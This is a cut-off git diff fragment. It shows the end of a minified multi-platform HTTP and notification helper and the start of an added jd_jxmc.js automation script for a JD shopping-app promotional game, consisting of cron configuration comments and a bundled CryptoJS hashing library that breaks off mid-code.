t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_jxmc.js b/jd_jxmc.js new file mode 100644 index 0000000..04f4a2c --- /dev/null +++ b/jd_jxmc.js @@ -0,0 +1,1163 @@ +/* +京喜牧场 +更新时间:2021-11-7 +活动入口:京喜APP-我的-京喜牧场 +温馨提示:请先手动完成【新手指导任务】再运行脚本 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜牧场 +20 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxmc.js, tag=京喜牧场, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "20 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxmc.js,tag=京喜牧场 + +===============Surge================= +京喜牧场 = type=cron,cronexp="20 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxmc.js + +============小火箭========= +京喜牧场 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxmc.js, cronexpr="20 * * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < 